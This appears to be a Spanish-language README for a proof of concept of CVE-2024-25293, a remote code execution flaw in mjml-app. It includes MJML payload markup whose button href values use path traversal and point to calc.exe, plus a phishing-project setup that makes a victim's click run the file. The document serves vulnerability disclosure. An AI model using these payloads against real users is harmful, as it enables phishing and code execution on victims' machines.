
mjml-app v3.0.4 & 3.1.0-beta RCE exploit
Una Prueba de Concepto para la vulnerabilidad CVE-2024-25293.
Se descubrió que mjml-app v3.0.4 y 3.1.0-beta contienen una vulnerabilidad de ejecución remota de código (RCE).
En este repositorio hay una aplicación vulnerable de ejemplo y un exploit de prueba de concepto (PoC).

Paso 1) El atacante crea un 'mj-button' con una etiqueta 'href' y
<mjml>
<mj-body>
<mj-section>
<mj-column>
<mj-button background-color="#f45e43" color="white" href="C:\Users\EQST\Desktop\jruru\..\jruru_hacked.txt"> jruru </mj-button>
<mj-button background-color="#f45e43" color="white" href="C:Windows/System32/calc.exe"> Code Execution </mj-button>
</mj-column>
</mj-section>
</mj-body>
</mjml>

Paso 2) El atacante crea el proyecto principal de phishing con el siguiente código.
<!-- header.mjml -->
<mj-section>
<mj-column>
<mj-text>This is a demo jruru</mj-text>
</mj-column>
</mj-section>
<!-- main.mjml -->
<mj-include path="./index.mjml" />

Paso 3) La víctima abre el proyecto compartido y hace clic en el botón, lo que desencadena la ejecución del payload (p. ej., calc, notepad)

Ejecutar archivos exe a través de etiquetas href dentro de una aplicación es riesgoso, y ejecutar archivos en combinación con Path Traversal es un problema de seguridad. Esto permite crear y desplegar proyectos de phishing para ejecutar archivos locales. Por lo tanto, es esencial modificar esta funcionalidad para evitar dicha ejecución.